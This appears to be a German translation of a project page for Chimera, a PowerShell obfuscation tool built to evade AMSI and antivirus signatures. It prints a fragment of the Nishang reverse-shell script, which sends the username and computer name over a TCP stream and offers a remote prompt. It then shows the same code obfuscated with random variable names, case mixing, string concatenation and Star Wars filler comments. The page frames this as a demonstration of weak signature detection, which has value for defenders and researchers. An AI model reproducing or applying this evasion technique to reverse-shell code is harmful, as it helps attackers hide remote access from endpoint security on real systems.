Chimera ist ein (glänzendes und sehr hackiges) PowerShell-Verschleierungsskript, das entwickelt wurde, um AMSI und Antivirenlösungen zu umgehen. Es verarbeitet bösartige PS1-Dateien, die bekanntermaßen AV auslösen, und verwendet Zeichenkettenersetzung und Variablenverkettung, um gängige Erkennungssignaturen zu umgehen.

Chimera wurde für diesen Artikel erstellt und ist ein weiterer Beweis dafür, wie trivial es ist, Erkennungssignaturen zu umgehen. Hoffentlich wird dieses Repository jemanden dazu inspirieren, etwas Robustes und Zuverlässigeres zu bauen.

Wie Chimera funktioniert...

Unten ist ein Ausschnitt von Nishangs Invoke-PowerShellTcp.ps1, zu finden unter nishang/Shells. VirusTotal meldet 25 Erkennungen des PS1-Skripts.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"() # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden. [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0} # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat. # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station. # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim. # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight. $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n") # Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth) # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

Chimera

Beliebteste

Verwendung

Shells

Ressourcen